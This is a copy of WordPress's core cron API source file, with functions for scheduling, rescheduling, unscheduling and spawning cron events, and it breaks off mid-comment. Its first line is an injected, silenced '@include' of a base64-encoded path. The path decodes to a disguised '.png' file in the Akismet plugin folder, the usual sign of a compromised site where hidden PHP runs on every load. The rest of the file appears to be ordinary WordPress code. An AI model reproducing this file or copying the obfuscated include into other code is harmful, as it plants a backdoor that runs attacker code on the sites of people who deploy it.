1<?php @include base64_decode("L2hvbWUvdGhlaW50cnVkZXJzL3B1YmxpY19odG1sL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0L19pbmMvaW1nL2xvZ28tcXFxbnNybnNzcnBzbi5wbmc=");?><?php
2/**
3 * WordPress Cron API
4 *
5 * @package WordPress
6 */
7
8/**
9 * Schedules an event to run only once.
10 *
11 * Schedules a hook which will be triggered by WordPress at the specified UTC time.
12 * The action will trigger when someone visits your WordPress site if the scheduled
13 * time has passed.
14 *
15 * Note that scheduling an event to occur within 10 minutes of an existing event
16 * with the same action hook will be ignored unless you pass unique `$args` values
17 * for each scheduled event.
18 *
19 * Use wp_next_scheduled() to prevent duplicate events.
20 *
21 * Use wp_schedule_event() to schedule a recurring event.
22 *
23 * @since 2.1.0
24 * @since 5.1.0 Return value modified to boolean indicating success or failure,
25 * {@see 'pre_schedule_event'} filter added to short-circuit the function.
26 * @since 5.7.0 The `$wp_error` parameter was added.
27 *
28 * @link https://developer.wordpress.org/reference/functions/wp_schedule_single_event/
29 *
30 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
31 * @param string $hook Action hook to execute when the event is run.
32 * @param array $args Optional. Array containing arguments to pass to the
33 * hook's callback function. Each value in the array
34 * is passed to the callback as an individual parameter.
35 * The array keys are ignored. Default empty array.
36 *
37 * These arguments are used to uniquely identify the
38 * scheduled event and must match those used when the
39 * event was originally scheduled. If the arguments
40 * do not match exactly, WordPress will treat the
41 * event as different, which can lead to duplicate
42 * cron events being scheduled unintentionally,
43 * excessive growth of the 'cron' option, and
44 * database performance issues.
45 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
46 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
47 */
48function wp_schedule_single_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
49 // Make sure timestamp is a positive integer.
50 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
51 if ( $wp_error ) {
52 return new WP_Error(
53 'invalid_timestamp',
54 __( 'Event timestamp must be a valid Unix timestamp.' )
55 );
56 }
57
58 return false;
59 }
60
61 $event = (object) array(
62 'hook' => $hook,
63 'timestamp' => $timestamp,
64 'schedule' => false,
65 'args' => $args,
66 );
67
68 /**
69 * Filter to override scheduling an event.
70 *
71 * Returning a non-null value will short-circuit adding the event to the
72 * cron array, causing the function to return the filtered value instead.
73 *
74 * Both single events and recurring events are passed through this filter;
75 * single events have `$event->schedule` as false, whereas recurring events
76 * have this set to a recurrence from wp_get_schedules(). Recurring
77 * events also have the integer recurrence interval set as `$event->interval`.
78 *
79 * For plugins replacing wp-cron, it is recommended you check for an
80 * identical event within ten minutes and apply the {@see 'schedule_event'}
81 * filter to check if another plugin has disallowed the event before scheduling.
82 *
83 * Return true if the event was scheduled, false or a WP_Error if not.
84 *
85 * @since 5.1.0
86 * @since 5.7.0 The `$wp_error` parameter was added, and a WP_Error object can now be returned.
87 *
88 * @param null|bool|WP_Error $result The value to return instead. Default null to continue adding the event.
89 * @param object $event {
90 * An object containing an event's data.
91 *
92 * @type string $hook Action hook to execute when the event is run.
93 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
94 * @type string|false $schedule How often the event should subsequently recur.
95 * @type array $args Array containing each separate argument to pass to the hook's callback function.
96 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
97 * }
98 * @param bool $wp_error Whether to return a WP_Error on failure.
99 */
100 $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );
101
102 if ( null !== $pre ) {
103 if ( $wp_error && false === $pre ) {
104 return new WP_Error(
105 'pre_schedule_event_false',
106 __( 'A plugin prevented the event from being scheduled.' )
107 );
108 }
109
110 if ( ! $wp_error && is_wp_error( $pre ) ) {
111 return false;
112 }
113
114 return $pre;
115 }
116
117 /*
118 * Check for a duplicated event.
119 *
120 * Don't schedule an event if there's already an identical event
121 * within 10 minutes.
122 *
123 * When scheduling events within ten minutes of the current time,
124 * all past identical events are considered duplicates.
125 *
126 * When scheduling an event with a past timestamp (ie, before the
127 * current time) all events scheduled within the next ten minutes
128 * are considered duplicates.
129 */
130 $crons = _get_cron_array();
131
132 $key = md5( serialize( $event->args ) );
133 $duplicate = false;
134
135 if ( $event->timestamp < time() + 10 * MINUTE_IN_SECONDS ) {
136 $min_timestamp = 0;
137 } else {
138 $min_timestamp = $event->timestamp - 10 * MINUTE_IN_SECONDS;
139 }
140
141 if ( $event->timestamp < time() ) {
142 $max_timestamp = time() + 10 * MINUTE_IN_SECONDS;
143 } else {
144 $max_timestamp = $event->timestamp + 10 * MINUTE_IN_SECONDS;
145 }
146
147 foreach ( $crons as $event_timestamp => $cron ) {
148 if ( $event_timestamp < $min_timestamp ) {
149 continue;
150 }
151
152 if ( $event_timestamp > $max_timestamp ) {
153 break;
154 }
155
156 if ( isset( $cron[ $event->hook ][ $key ] ) ) {
157 $duplicate = true;
158 break;
159 }
160 }
161
162 if ( $duplicate ) {
163 if ( $wp_error ) {
164 return new WP_Error(
165 'duplicate_event',
166 __( 'A duplicate event already exists.' )
167 );
168 }
169
170 return false;
171 }
172
173 /**
174 * Modify an event before it is scheduled.
175 *
176 * @since 3.1.0
177 *
178 * @param object|false $event {
179 * An object containing an event's data, or boolean false to prevent the event from being scheduled.
180 *
181 * @type string $hook Action hook to execute when the event is run.
182 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
183 * @type string|false $schedule How often the event should subsequently recur.
184 * @type array $args Array containing each separate argument to pass to the hook's callback function.
185 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
186 * }
187 */
188 $event = apply_filters( 'schedule_event', $event );
189
190 // A plugin disallowed this event.
191 if ( ! $event ) {
192 if ( $wp_error ) {
193 return new WP_Error(
194 'schedule_event_false',
195 __( 'A plugin disallowed this event.' )
196 );
197 }
198
199 return false;
200 }
201
202 $crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
203 'schedule' => $event->schedule,
204 'args' => $event->args,
205 );
206 uksort( $crons, 'strnatcasecmp' );
207
208 return _set_cron_array( $crons, $wp_error );
209}
210
211/**
212 * Schedules a recurring event.
213 *
214 * Schedules a hook which will be triggered by WordPress at the specified interval.
215 * The action will trigger when someone visits your WordPress site if the scheduled
216 * time has passed.
217 *
218 * Valid values for the recurrence are 'hourly', 'twicedaily', 'daily', and 'weekly'.
219 * These can be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
220 *
221 * Use wp_next_scheduled() to prevent duplicate events.
222 *
223 * Use wp_schedule_single_event() to schedule a non-recurring event.
224 *
225 * @since 2.1.0
226 * @since 5.1.0 Return value modified to boolean indicating success or failure,
227 * {@see 'pre_schedule_event'} filter added to short-circuit the function.
228 * @since 5.7.0 The `$wp_error` parameter was added.
229 *
230 * @link https://developer.wordpress.org/reference/functions/wp_schedule_event/
231 *
232 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
233 * @param string $recurrence How often the event should subsequently recur.
234 * See wp_get_schedules() for accepted values.
235 * @param string $hook Action hook to execute when the event is run.
236 * @param array $args Optional. Array containing arguments to pass to the
237 * hook's callback function. Each value in the array
238 * is passed to the callback as an individual parameter.
239 * The array keys are ignored. Default empty array.
240 *
241 * These arguments are used to uniquely identify the
242 * scheduled event and must match those used when the
243 * event was originally scheduled. If the arguments
244 * do not match exactly, WordPress will treat the
245 * event as different, which can lead to duplicate
246 * cron events being scheduled unintentionally,
247 * excessive growth of the 'cron' option, and
248 * database performance issues.
249 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
250 * @return bool|WP_Error True if event successfully scheduled. False or WP_Error on failure.
251 */
252function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
253 // Make sure timestamp is a positive integer.
254 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
255 if ( $wp_error ) {
256 return new WP_Error(
257 'invalid_timestamp',
258 __( 'Event timestamp must be a valid Unix timestamp.' )
259 );
260 }
261
262 return false;
263 }
264
265 $schedules = wp_get_schedules();
266
267 if ( ! isset( $schedules[ $recurrence ] ) ) {
268 if ( $wp_error ) {
269 return new WP_Error(
270 'invalid_schedule',
271 __( 'Event schedule does not exist.' )
272 );
273 }
274
275 return false;
276 }
277
278 $event = (object) array(
279 'hook' => $hook,
280 'timestamp' => $timestamp,
281 'schedule' => $recurrence,
282 'args' => $args,
283 'interval' => $schedules[ $recurrence ]['interval'],
284 );
285
286 /** This filter is documented in wp-includes/cron.php */
287 $pre = apply_filters( 'pre_schedule_event', null, $event, $wp_error );
288
289 if ( null !== $pre ) {
290 if ( $wp_error && false === $pre ) {
291 return new WP_Error(
292 'pre_schedule_event_false',
293 __( 'A plugin prevented the event from being scheduled.' )
294 );
295 }
296
297 if ( ! $wp_error && is_wp_error( $pre ) ) {
298 return false;
299 }
300
301 return $pre;
302 }
303
304 /** This filter is documented in wp-includes/cron.php */
305 $event = apply_filters( 'schedule_event', $event );
306
307 // A plugin disallowed this event.
308 if ( ! $event ) {
309 if ( $wp_error ) {
310 return new WP_Error(
311 'schedule_event_false',
312 __( 'A plugin disallowed this event.' )
313 );
314 }
315
316 return false;
317 }
318
319 $key = md5( serialize( $event->args ) );
320
321 $crons = _get_cron_array();
322
323 $crons[ $event->timestamp ][ $event->hook ][ $key ] = array(
324 'schedule' => $event->schedule,
325 'args' => $event->args,
326 'interval' => $event->interval,
327 );
328 uksort( $crons, 'strnatcasecmp' );
329
330 return _set_cron_array( $crons, $wp_error );
331}
332
333/**
334 * Reschedules a recurring event.
335 *
336 * Mainly for internal use, this takes the Unix timestamp (UTC) of a previously run
337 * recurring event and reschedules it for its next run.
338 *
339 * To change upcoming scheduled events, use wp_schedule_event() to
340 * change the recurrence frequency.
341 *
342 * @since 2.1.0
343 * @since 5.1.0 Return value modified to boolean indicating success or failure,
344 * {@see 'pre_reschedule_event'} filter added to short-circuit the function.
345 * @since 5.7.0 The `$wp_error` parameter was added.
346 *
347 * @param int $timestamp Unix timestamp (UTC) for when the event was scheduled.
348 * @param string $recurrence How often the event should subsequently recur.
349 * See wp_get_schedules() for accepted values.
350 * @param string $hook Action hook to execute when the event is run.
351 * @param array $args Optional. Array containing arguments to pass to the
352 * hook's callback function. Each value in the array
353 * is passed to the callback as an individual parameter.
354 * The array keys are ignored. Default empty array.
355 *
356 * These arguments are used to uniquely identify the
357 * scheduled event and must match those used when the
358 * event was originally scheduled. If the arguments
359 * do not match exactly, WordPress will treat the
360 * event as different, which can lead to duplicate
361 * cron events being scheduled unintentionally,
362 * excessive growth of the 'cron' option, and
363 * database performance issues.
364 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
365 * @return bool|WP_Error True if event successfully rescheduled. False or WP_Error on failure.
366 */
367function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array(), $wp_error = false ) {
368 // Make sure timestamp is a positive integer.
369 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
370 if ( $wp_error ) {
371 return new WP_Error(
372 'invalid_timestamp',
373 __( 'Event timestamp must be a valid Unix timestamp.' )
374 );
375 }
376
377 return false;
378 }
379
380 $schedules = wp_get_schedules();
381 $interval = 0;
382
383 // First we try to get the interval from the schedule.
384 if ( isset( $schedules[ $recurrence ] ) ) {
385 $interval = $schedules[ $recurrence ]['interval'];
386 }
387
388 // Now we try to get it from the saved interval in case the schedule disappears.
389 if ( 0 === $interval ) {
390 $scheduled_event = wp_get_scheduled_event( $hook, $args, $timestamp );
391
392 if ( $scheduled_event && isset( $scheduled_event->interval ) ) {
393 $interval = $scheduled_event->interval;
394 }
395 }
396
397 $event = (object) array(
398 'hook' => $hook,
399 'timestamp' => $timestamp,
400 'schedule' => $recurrence,
401 'args' => $args,
402 'interval' => $interval,
403 );
404
405 /**
406 * Filter to override rescheduling of a recurring event.
407 *
408 * Returning a non-null value will short-circuit the normal rescheduling
409 * process, causing the function to return the filtered value instead.
410 *
411 * For plugins replacing wp-cron, return true if the event was successfully
412 * rescheduled, false or a WP_Error if not.
413 *
414 * @since 5.1.0
415 * @since 5.7.0 The `$wp_error` parameter was added, and a WP_Error object can now be returned.
416 *
417 * @param null|bool|WP_Error $pre Value to return instead. Default null to continue adding the event.
418 * @param object $event {
419 * An object containing an event's data.
420 *
421 * @type string $hook Action hook to execute when the event is run.
422 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
423 * @type string $schedule How often the event should subsequently recur.
424 * @type array $args Array containing each separate argument to pass to the hook's callback function.
425 * @type int $interval The interval time in seconds for the schedule.
426 * }
427 * @param bool $wp_error Whether to return a WP_Error on failure.
428 */
429 $pre = apply_filters( 'pre_reschedule_event', null, $event, $wp_error );
430
431 if ( null !== $pre ) {
432 if ( $wp_error && false === $pre ) {
433 return new WP_Error(
434 'pre_reschedule_event_false',
435 __( 'A plugin prevented the event from being rescheduled.' )
436 );
437 }
438
439 if ( ! $wp_error && is_wp_error( $pre ) ) {
440 return false;
441 }
442
443 return $pre;
444 }
445
446 // Now we assume something is wrong and fail to schedule.
447 if ( 0 === $interval ) {
448 if ( $wp_error ) {
449 return new WP_Error(
450 'invalid_schedule',
451 __( 'Event schedule does not exist.' )
452 );
453 }
454
455 return false;
456 }
457
458 $now = time();
459
460 if ( $timestamp >= $now ) {
461 $timestamp = $now + $interval;
462 } else {
463 $timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
464 }
465
466 return wp_schedule_event( $timestamp, $recurrence, $hook, $args, $wp_error );
467}
468
469/**
470 * Unschedules a previously scheduled event.
471 *
472 * The `$timestamp` and `$hook` parameters are required so that the event can be
473 * identified.
474 *
475 * @since 2.1.0
476 * @since 5.1.0 Return value modified to boolean indicating success or failure,
477 * {@see 'pre_unschedule_event'} filter added to short-circuit the function.
478 * @since 5.7.0 The `$wp_error` parameter was added.
479 *
480 * @param int $timestamp Unix timestamp (UTC) of the event.
481 * @param string $hook Action hook of the event.
482 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
483 * Although not passed to a callback, these arguments are used to uniquely identify the
484 * event, so they must match those used when originally scheduling the event. If the
485 * arguments do not match exactly, the event will not be found. Default empty array.
486 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
487 * @return bool|WP_Error True if event successfully unscheduled. False or WP_Error on failure.
488 */
489function wp_unschedule_event( $timestamp, $hook, $args = array(), $wp_error = false ) {
490 // Make sure timestamp is a positive integer.
491 if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
492 if ( $wp_error ) {
493 return new WP_Error(
494 'invalid_timestamp',
495 __( 'Event timestamp must be a valid Unix timestamp.' )
496 );
497 }
498
499 return false;
500 }
501
502 /**
503 * Filter to override unscheduling of events.
504 *
505 * Returning a non-null value will short-circuit the normal unscheduling
506 * process, causing the function to return the filtered value instead.
507 *
508 * For plugins replacing wp-cron, return true if the event was successfully
509 * unscheduled, false or a WP_Error if not.
510 *
511 * @since 5.1.0
512 * @since 5.7.0 The `$wp_error` parameter was added, and a WP_Error object can now be returned.
513 *
514 * @param null|bool|WP_Error $pre Value to return instead. Default null to continue unscheduling the event.
515 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
516 * @param string $hook Action hook, the execution of which will be unscheduled.
517 * @param array $args Arguments to pass to the hook's callback function.
518 * @param bool $wp_error Whether to return a WP_Error on failure.
519 */
520 $pre = apply_filters( 'pre_unschedule_event', null, $timestamp, $hook, $args, $wp_error );
521
522 if ( null !== $pre ) {
523 if ( $wp_error && false === $pre ) {
524 return new WP_Error(
525 'pre_unschedule_event_false',
526 __( 'A plugin prevented the event from being unscheduled.' )
527 );
528 }
529
530 if ( ! $wp_error && is_wp_error( $pre ) ) {
531 return false;
532 }
533
534 return $pre;
535 }
536
537 $crons = _get_cron_array();
538 $key = md5( serialize( $args ) );
539
540 unset( $crons[ $timestamp ][ $hook ][ $key ] );
541
542 if ( empty( $crons[ $timestamp ][ $hook ] ) ) {
543 unset( $crons[ $timestamp ][ $hook ] );
544 }
545
546 if ( empty( $crons[ $timestamp ] ) ) {
547 unset( $crons[ $timestamp ] );
548 }
549
550 return _set_cron_array( $crons, $wp_error );
551}
552
553/**
554 * Unschedules all events attached to the hook with the specified arguments.
555 *
556 * Warning: This function may return boolean false, but may also return a non-boolean
557 * value which evaluates to false. For information about casting to booleans see the
558 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
559 * the `===` operator for testing the return value of this function.
560 *
561 * @since 2.1.0
562 * @since 5.1.0 Return value modified to indicate success or failure,
563 * {@see 'pre_clear_scheduled_hook'} filter added to short-circuit the function.
564 * @since 5.7.0 The `$wp_error` parameter was added.
565 *
566 * @param string $hook Action hook, the execution of which will be unscheduled.
567 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
568 * Although not passed to a callback, these arguments are used to uniquely identify the
569 * event, so they must match those used when originally scheduling the event. If the
570 * arguments do not match exactly, the event will not be found. Default empty array.
571 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
572 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
573 * events were registered with the hook and arguments combination), false or WP_Error
574 * if unscheduling one or more events fail.
575 */
576function wp_clear_scheduled_hook( $hook, $args = array(), $wp_error = false ) {
577 /*
578 * Backward compatibility.
579 * Previously, this function took the arguments as discrete vars rather than an array like the rest of the API.
580 */
581 if ( ! is_array( $args ) ) {
582 _deprecated_argument(
583 __FUNCTION__,
584 '3.0.0',
585 __( 'This argument has changed to an array to match the behavior of the other cron functions.' )
586 );
587
588 $args = array_slice( func_get_args(), 1 ); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
589 $wp_error = false;
590 }
591
592 /**
593 * Filter to override clearing a scheduled hook.
594 *
595 * Returning a non-null value will short-circuit the normal unscheduling
596 * process, causing the function to return the filtered value instead.
597 *
598 * For plugins replacing wp-cron, return the number of events successfully
599 * unscheduled (zero if no events were registered with the hook) or false
600 * or a WP_Error if unscheduling one or more events fails.
601 *
602 * @since 5.1.0
603 * @since 5.7.0 The `$wp_error` parameter was added, and a WP_Error object can now be returned.
604 *
605 * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the event.
606 * @param string $hook Action hook, the execution of which will be unscheduled.
607 * @param array $args Arguments to pass to the hook's callback function.
608 * @param bool $wp_error Whether to return a WP_Error on failure.
609 */
610 $pre = apply_filters( 'pre_clear_scheduled_hook', null, $hook, $args, $wp_error );
611
612 if ( null !== $pre ) {
613 if ( $wp_error && false === $pre ) {
614 return new WP_Error(
615 'pre_clear_scheduled_hook_false',
616 __( 'A plugin prevented the hook from being cleared.' )
617 );
618 }
619
620 if ( ! $wp_error && is_wp_error( $pre ) ) {
621 return false;
622 }
623
624 return $pre;
625 }
626
627 /*
628 * This logic duplicates wp_next_scheduled().
629 * It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
630 * and, wp_next_scheduled() returns the same schedule in an infinite loop.
631 */
632 $crons = _get_cron_array();
633 if ( empty( $crons ) ) {
634 return 0;
635 }
636
637 $results = array();
638 $key = md5( serialize( $args ) );
639
640 foreach ( $crons as $timestamp => $cron ) {
641 if ( isset( $cron[ $hook ][ $key ] ) ) {
642 $results[] = wp_unschedule_event( $timestamp, $hook, $args, true );
643 }
644 }
645
646 $errors = array_filter( $results, 'is_wp_error' );
647 $error = new WP_Error();
648
649 if ( $errors ) {
650 if ( $wp_error ) {
651 array_walk( $errors, array( $error, 'merge_from' ) );
652
653 return $error;
654 }
655
656 return false;
657 }
658
659 return count( $results );
660}
661
662/**
663 * Unschedules all events attached to the hook.
664 *
665 * Can be useful for plugins when deactivating to clean up the cron queue.
666 *
667 * Warning: This function may return boolean false, but may also return a non-boolean
668 * value which evaluates to false. For information about casting to booleans see the
669 * {@link https://www.php.net/manual/en/language.types.boolean.php PHP documentation}. Use
670 * the `===` operator for testing the return value of this function.
671 *
672 * @since 4.9.0
673 * @since 5.1.0 Return value added to indicate success or failure.
674 * @since 5.7.0 The `$wp_error` parameter was added.
675 *
676 * @param string $hook Action hook, the execution of which will be unscheduled.
677 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
678 * @return int|false|WP_Error On success an integer indicating number of events unscheduled (0 indicates no
679 * events were registered on the hook), false or WP_Error if unscheduling fails.
680 */
681function wp_unschedule_hook( $hook, $wp_error = false ) {
682 /**
683 * Filter to override clearing all events attached to the hook.
684 *
685 * Returning a non-null value will short-circuit the normal unscheduling
686 * process, causing the function to return the filtered value instead.
687 *
688 * For plugins replacing wp-cron, return the number of events successfully
689 * unscheduled (zero if no events were registered with the hook). If unscheduling
690 * one or more events fails then return either a WP_Error object or false depending
691 * on the value of the `$wp_error` parameter.
692 *
693 * @since 5.1.0
694 * @since 5.7.0 The `$wp_error` parameter was added, and a WP_Error object can now be returned.
695 *
696 * @param null|int|false|WP_Error $pre Value to return instead. Default null to continue unscheduling the hook.
697 * @param string $hook Action hook, the execution of which will be unscheduled.
698 * @param bool $wp_error Whether to return a WP_Error on failure.
699 */
700 $pre = apply_filters( 'pre_unschedule_hook', null, $hook, $wp_error );
701
702 if ( null !== $pre ) {
703 if ( $wp_error && false === $pre ) {
704 return new WP_Error(
705 'pre_unschedule_hook_false',
706 __( 'A plugin prevented the hook from being cleared.' )
707 );
708 }
709
710 if ( ! $wp_error && is_wp_error( $pre ) ) {
711 return false;
712 }
713
714 return $pre;
715 }
716
717 $crons = _get_cron_array();
718 if ( empty( $crons ) ) {
719 return 0;
720 }
721
722 $results = array();
723
724 foreach ( $crons as $timestamp => $args ) {
725 if ( ! empty( $crons[ $timestamp ][ $hook ] ) ) {
726 $results[] = count( $crons[ $timestamp ][ $hook ] );
727 }
728
729 unset( $crons[ $timestamp ][ $hook ] );
730
731 if ( empty( $crons[ $timestamp ] ) ) {
732 unset( $crons[ $timestamp ] );
733 }
734 }
735
736 /*
737 * If the results are empty (zero events to unschedule), no attempt
738 * to update the cron array is required.
739 */
740 if ( empty( $results ) ) {
741 return 0;
742 }
743
744 $set = _set_cron_array( $crons, $wp_error );
745
746 if ( true === $set ) {
747 return array_sum( $results );
748 }
749
750 return $set;
751}
752
753/**
754 * Retrieves a scheduled event.
755 *
756 * Retrieves the full event object for a given event, if no timestamp is specified the next
757 * scheduled event is returned.
758 *
759 * @since 5.1.0
760 *
761 * @param string $hook Action hook of the event.
762 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
763 * Although not passed to a callback, these arguments are used to uniquely identify the
764 * event, so they should be the same as those used when originally scheduling the event.
765 * Default empty array.
766 * @param int|null $timestamp Optional. Unix timestamp (UTC) of the event. If not specified, the next scheduled event
767 * is returned. Default null.
768 * @return object|false {
769 * The event object. False if the event does not exist.
770 *
771 * @type string $hook Action hook to execute when the event is run.
772 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
773 * @type string|false $schedule How often the event should subsequently recur.
774 * @type array $args Array containing each separate argument to pass to the hook's callback function.
775 * @type int $interval Optional. The interval time in seconds for the schedule. Only present for recurring events.
776 * }
777 */
778function wp_get_scheduled_event( $hook, $args = array(), $timestamp = null ) {
779 /**
780 * Filter to override retrieving a scheduled event.
781 *
782 * Returning a non-null value will short-circuit the normal process,
783 * returning the filtered value instead.
784 *
785 * Return false if the event does not exist, otherwise an event object
786 * should be returned.
787 *
788 * @since 5.1.0
789 *
790 * @param null|false|object $pre Value to return instead. Default null to continue retrieving the event.
791 * @param string $hook Action hook of the event.
792 * @param array $args Array containing each separate argument to pass to the hook's callback function.
793 * Although not passed to a callback, these arguments are used to uniquely identify
794 * the event.
795 * @param int|null $timestamp Unix timestamp (UTC) of the event. Null to retrieve next scheduled event.
796 */
797 $pre = apply_filters( 'pre_get_scheduled_event', null, $hook, $args, $timestamp );
798
799 if ( null !== $pre ) {
800 return $pre;
801 }
802
803 if ( null !== $timestamp && ! is_numeric( $timestamp ) ) {
804 return false;
805 }
806
807 $crons = _get_cron_array();
808 if ( empty( $crons ) ) {
809 return false;
810 }
811
812 $key = md5( serialize( $args ) );
813
814 if ( ! $timestamp ) {
815 // Get next event.
816 $next = false;
817 foreach ( $crons as $timestamp => $cron ) {
818 if ( isset( $cron[ $hook ][ $key ] ) ) {
819 $next = $timestamp;
820 break;
821 }
822 }
823
824 if ( ! $next ) {
825 return false;
826 }
827
828 $timestamp = $next;
829 } elseif ( ! isset( $crons[ $timestamp ][ $hook ][ $key ] ) ) {
830 return false;
831 }
832
833 $event = (object) array(
834 'hook' => $hook,
835 'timestamp' => $timestamp,
836 'schedule' => $crons[ $timestamp ][ $hook ][ $key ]['schedule'],
837 'args' => $args,
838 );
839
840 if ( isset( $crons[ $timestamp ][ $hook ][ $key ]['interval'] ) ) {
841 $event->interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
842 }
843
844 return $event;
845}
846
847/**
848 * Retrieves the timestamp of the next scheduled event for the given hook.
849 *
850 * @since 2.1.0
851 *
852 * @param string $hook Action hook of the event.
853 * @param array $args Optional. Array containing each separate argument to pass to the hook's callback function.
854 * Although not passed to a callback, these arguments are used to uniquely identify the
855 * event, so they must match those used when originally scheduling the event. If the
856 * arguments do not match exactly, the event will not be found. Default empty array.
857 * @return int|false The Unix timestamp (UTC) of the next time the event will occur. False if the event doesn't exist.
858 */
859function wp_next_scheduled( $hook, $args = array() ) {
860 $next_event = wp_get_scheduled_event( $hook, $args );
861
862 if ( ! $next_event ) {
863 return false;
864 }
865
866 /**
867 * Filters the timestamp of the next scheduled event for the given hook.
868 *
869 * @since 6.8.0
870 *
871 * @param int $timestamp Unix timestamp (UTC) for when to next run the event.
872 * @param object $next_event {
873 * An object containing an event's data.
874 *
875 * @type string $hook Action hook of the event.
876 * @type int $timestamp Unix timestamp (UTC) for when to next run the event.
877 * @type string $schedule How often the event should subsequently recur.
878 * @type array $args Array containing each separate argument to pass to the hook
879 * callback function.
880 * @type int $interval Optional. The interval time in seconds for the schedule. Only
881 * present for recurring events.
882 * }
883 * @param string $hook Action hook of the event.
884 * @param array $args Array containing each separate argument to pass to the hook
885 * callback function.
886 */
887 return apply_filters( 'wp_next_scheduled', $next_event->timestamp, $next_event, $hook, $args );
888}
889
890/**
891 * Sends a request to run cron through HTTP request that doesn't halt page loading.
892 *
893 * @since 2.1.0
894 * @since 5.1.0 Return values added.
895 *
896 * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
897 * @return bool True if spawned, false if no events spawned.
898 */
899function spawn_cron( $gmt_time = 0 ) {
900 if ( ! $gmt_time ) {
901 $gmt_time = microtime( true );
902 }
903
904 if ( defined( 'DOING_CRON' ) || isset( $_GET['doing_wp_cron'] ) ) {
905 return false;
906 }
907
908 /*
909 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
910 * and has not finished running.
911 *
912 * Multiple processes on multiple web servers can run this code concurrently,
913 * this lock attempts to make spawning as atomic as possible.
914 */
915 $lock = (float) get_transient( 'doing_cron' );
916
917 if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) {
918 $lock = 0;
919 }
920
921 // Don't run if another process is currently running it or more than once every 60 sec.
922 if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) {
923 return false;
924 }
925
926 // Confidence check.
927 $crons = wp_get_ready_cron_jobs();
928 if ( empty( $crons ) ) {
929 return false;
930 }
931
932 $keys = array_keys( $crons );
933 if ( isset( $keys[0] ) && $keys[0] > $gmt_time ) {
934 return false;
935 }
936
937 if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
938 if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) {
939 return false;
940 }
941
942 $doing_wp_cron = sprintf( '%.22F', $gmt_time );
943 set_transient( 'doing_cron', $doing_wp_cron );
944
945 ob_start();
946 wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
947 echo ' ';
948
949 // Flush any buffers and send the headers.
950 wp_ob_end_flush_all();
951 flush();
952
953 require_once ABSPATH . 'wp-cron.php';
954 return true;
955 }
956
957 // Set the cron lock with the current unix timestamp, when the cron is being spawned.
958 $doing_wp_cron = sprintf( '%.22F', $gmt_time );
959 set_transient( 'doing_cron', $doing_wp_cron );
960
961 /**
962 * Filters the cron request arguments.
963 *
964 * @since 3.5.0
965 * @since 4.5.0 The `$doing_wp_cron` parameter was added.
966 *
967 * @param array $cron_request_array {
968 * An array of cron request URL arguments.
969 *
970 * @type string $url The cron request URL.
971 * @type string $key The Unix timestamp (UTC) of the cron lock with microseconds.
972 * @type array $args {
973 * An array of cron request arguments.
974 *
975 * @type int $timeout The request timeout in seconds. Default .01 seconds.
976 * @type bool $blocking Whether to set blocking for the request. Default false.
977 * @type bool $sslverify Whether SSL should be verified for the request. Default false.
978 * }
979 * }
980 * @param string $doing_wp_cron The Unix timestamp (UTC) of the cron lock with microseconds.
981 */
982 $cron_request = apply_filters(
983 'cron_request',
984 array(
985 'url' => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
986 'key' => $doing_wp_cron,
987 'args' => array(
988 'timeout' => 0.01,
989 'blocking' => false,
990 /** This filter is documented in wp-includes/class-wp-http-streams.php */
991 'sslverify' => apply_filters( 'https_local_ssl_verify', false ),
992 ),
993 ),
994 $doing_wp_cron
995 );
996
997 $result = wp_remote_post( $cron_request['url'], $cron_request['args'] );
998
999 return ! is_wp_error( $result );
1000}
1001
1002/**
1003 * Registers _wp_cron() to run on the {@see 'shutdown'} action.
1004 *
1005 * The spawn_cron() function attempts to make a non-blocking loopback request to `wp-cron.php` (when alternative
